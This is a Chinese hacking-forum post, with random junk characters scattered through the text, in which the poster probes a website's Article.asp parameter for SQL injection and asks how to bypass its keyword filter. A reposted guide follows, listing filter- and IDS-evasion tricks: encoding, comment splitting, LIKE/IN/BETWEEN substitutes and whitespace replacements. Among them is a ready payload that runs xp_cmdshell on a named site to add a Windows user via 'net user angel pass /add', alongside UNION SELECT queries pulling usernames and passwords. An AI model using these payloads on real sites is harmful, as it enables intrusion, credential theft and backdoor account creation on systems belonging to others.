路过这个网站,检测了一下.# I( O/ A) \8 c- B9 `8 ?+ A
http://www.xxx.cn/Article.asp?ID=117 and 1=1" m6 h! v8 l: H3 s+ g! l; }) `
直接返回主页
. P9 i( K2 ~- A; ~/ E! ]$ ihttp://www.xxx.cn/Article.asp?ID=117 or 1=1
+ R+ j; m; x3 H3 w5 k2 w, o5 z% p直接返回主页. V% X3 {6 D/ L9 e" X% }7 |
http://www.xxx.cn/Article.asp?ID=117 or
& r, }# R' z3 I没有返回主页 没有过滤or7 x5 H, E% U/ c8 q: {
http://www.xxx.cn/Article.asp?ID=117 and/ C/ H& N4 D: P: d1 R; @( N
直接返回主页 看来过滤了and
, P1 I; Z% y' L- ` Shttp://www.xxx.cn/Article.asp?ID=117 or 1
7 ?4 }$ s3 ] n1 F没有返回主页 即没有过滤or 也没有过滤17 S7 R3 r' V I7 S4 H
http://www.xxx.cn/Article.asp?ID=117 or 1=1
. N$ i' \' ~: A! Z直接返回主页 很明显过滤了等号 $ U7 k; h+ S& e$ o' A6 p- a ]
or的特性是与and相反的.
7 {# w, ^4 u9 \+ ], ^. S; For 1=1 爆错 或与原页面不同
& f6 Q; G: C6 q$ T: @4 uor 1=2 原页面相同
- J0 n" J( R& \这样就是一个注入点 l7 K: Q+ V" |* E* K }! m% c) p
但他过滤了=号 我就用><号代替=号吧!
. ?2 z, S4 |- g/ Dor 1<2 很明显是正确的,所以应该与原页面不同5 g" J& b% o. ^+ w0 `5 r+ R
or 1>2 很明显是错误的,所以应该与原页面相同/ s I+ n, f& `) }0 P0 `7 k0 p
然后看看有没有过滤其他的查询语句,比如select.' O4 X! G% x; a4 P7 [4 [: W) R& ?( f& x
http://www.xxx.cn/Article.asp?ID=117 select% d" p" X) T9 C3 h% i6 B; T5 z3 V
直接返回主页7 T: r! e5 _$ o. Q' q/ y W
又迷茫了..9 b2 L7 C1 \( ]( R
1 }4 M9 [4 v3 ?7 k- }
3 g5 \3 K3 j- k
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗" w' g) D! K* L+ P7 n% U
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧) f# b4 a/ r6 o( \
================================================
/ ^$ {7 S8 c: c$ t以下是转贴:
* p, K) Y& |9 y" w% D L, P9 d1 x% q/ W
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
5 h9 w' u* r1 u$ x经过我的收集,大部分的防注入程序都过滤了以下关键字: }& j' d+ A6 t. U
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
) }5 s) v4 |( h+ f/ W1 ~ _; I7 ~而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
/ o7 O% d2 i* n对于关键字的过滤,以下是我收集的以及我个人的一些想法。 9 E+ v" y L2 \& j
1、运用编码技术绕过
* K' u2 l- h' I如URLEncode编码,ASCII编码绕过。例如or 1=1即
. Y \& F! E; v6 z1 R! I. I%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
, e& a5 a2 x$ E; s8 D( B) M
: M n, G/ {1 J& \4 U2、通过空格绕过 : R3 ~2 H8 h# S9 w: E; d
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 . P4 i) I$ L6 X8 W7 C" V4 q, }
or’ swords’ =‘swords’ 2 @9 l, y6 v9 ^$ ?0 |3 k$ L' }1 t' l
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 8 b; R! t2 S8 @0 l7 L
3、运用字符串判断代替
" T( \$ E+ W7 o$ | p; T- E用经典的or 1=1判断绕过,如 . U Z( u$ K& L% L+ J* a' a( B! b
or ’swords’ =’swords’ ; Q- n& z& p6 ^5 d: B: o4 W
,这个方法就是网上在讨论的。 " L+ M d/ ]" i- j P
4、通过类型转换修饰符N绕过 3 O/ j* d8 y6 |
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
! c3 f( M, z$ P% @, J& D5、通过+号拆解字符串绕过
7 T2 Q6 F' l8 H6 v- X. O: f效果值得考证,但毕竟是一种方法。如 " |: g- m; W. T, `6 _! Z/ N! e) ~ F! y
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 0 e! A y5 v: [" e/ x# W
* \, P. Y- {$ m( d
6、通过LIKE绕过 ' q: Q$ r9 t$ Y6 n" h( z
以前怎么就没想到呢?如or
9 J- A/ x& f+ p+ p4 B# L$ _) j’swords’ LIKE ’sw’
/ B! |( Y' M# D" [' p1 y+ J" y!!!显然可以很轻松的绕过
, H, `3 D( O- ]/ z3 A, [' u# e“=”“>”
/ f( l% z; J7 Q; d的限制……
; E/ L5 V7 L7 Q. D7、通过IN绕过 ' y% I7 l4 n& R& f8 F8 n5 j: [
与上面的LIKE的思路差不多,如
0 B4 t4 ?$ {0 |. ?or ’swords’ IN (’swords’) 1 ^$ Z# u, }6 N o2 ?$ V! p
! J) `0 y( X9 ?$ z9 p8、通过BETWEEN绕过
) Q- W7 L4 O2 |1 v% c如 7 W, d8 d9 o1 W) G- i: _( _6 {
or ’swords’ BETWEEN ’rw’ AND ’tw’
$ t/ k! V. w4 h% n- R
9 L0 D! r+ B3 V: m/ |9、通过>或者<绕过
& ?: B7 k4 k7 S. ?/ {5 `, n/ gor ’swords’ > ’sw’
E% }" x+ ^5 ]/ I9 a. ?" L3 por ’swords’ < ’tw’
, }1 O$ m" b. n7 d, |4 z! b8 m1 a! Jor 1<3
/ t3 U% g0 b/ _7 k# L" _……
W3 i- M5 m G. M1 w8 z- }0 t7 |10、运用注释语句绕过 ; M5 w3 M) t+ E9 D+ K7 B* ^% @9 F
用/**/代替空格,如: & @, R5 L \8 }9 P2 j( |$ a" k: h, J2 J3 r
UNION /**/ Select /**/user,pwd,from tbluser 9 A5 n8 O' I4 P! g
1 n' t6 U! X0 g1 c, O+ `1 ]0 h
用/**/分割敏感词,如: ; u% R8 ]2 Y) ^
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
+ F& M% ~) g0 V, H4 K3 w& N" `: X1 F4 H
11、用HEX绕过,一般的IDS都无法检测出来
! ], y* P- M. d% c& b0x730079007300610064006D0069006E00 =hex(sysadmin)
3 q- p" s' Y+ i) Z0 P& F0x640062005F006F0077006E0065007200 =hex(db_owner) : d1 }! ?8 u8 l) N6 F
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
& E& ]9 B. z0 d4 L2 h- `3 k declare @a sysname 9 C2 H6 f- ~2 ~* M" Q! N2 R2 k
select @a= # W5 M( }4 N' D( u- B5 M
exec master.dbo.xp_cmdshell @a
# O0 I2 B7 o: ]7 j! k8 U6 p效果
+ s5 E) d6 S+ y/ s; T( q) ]http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
/ E7 M% k* I u# p, @0 ^ ]4 S. M. w Q
其中的
9 A6 }+ X' l6 f7 m+ L) \0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
3 G3 I% d! E5 W# v. q$ e, x就是 : m$ g9 ] h5 s* r! y
“net user angel pass /add”' B' d, q, I9 e! N) `5 S# n
# n# ?3 b, A7 I9 w0 B9 E! p$ X; u一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。) N" K( b( q! |3 C3 |9 V0 J
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
' j8 D! N' }* c另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似% g& O0 q) k1 j% \
Copy code
& U3 ]* M4 S0 Q; U6 ]7 I$ _select * from table exec xp_cmdshell'xxxxxxxxxx'/ O( b) H/ f5 x( ~
4 w9 H( \- f( N0 W
, U" b5 Q' T6 p' S4 kselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
# ~3 J0 p# Z8 r* d6 {+ p M# q
& ^7 g! B; Q y' e
+ o/ g) ~( ]5 Nselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
5 _/ w* {- j* j( b& M! |$ N/ A1 k& ?' D8 a, \- u0 Q* Y
* Z, m( V7 w7 T7 Sselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'3 x2 I' a; h* z! U+ s
" l6 ]1 s# q) U
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?) k4 B% g8 F0 o1 p' Y4 v% l
% q* I6 M; x' Y( V) S这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了& R& i E- e1 @9 ~. {9 i
可能大家早就知道了,不管怎么说,发在这里吧!
4 C- r- q0 E; g* Y: Q% s# K) x# E& G) C% a+ u( L
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
0 N0 Q4 L! C6 U; s6 f6 V+ @) R" b$ n) D1 Y! w6 @$ p& S/ B
8 l6 b7 M! f m/ F, m/ p
$ p* \: r& @ w H5 M8 i+ {8 g
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
! B% j# H7 o% N比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
6 S: i' W$ V( h; n+ t$ w
" ?+ i0 j0 m4 E( d$ K |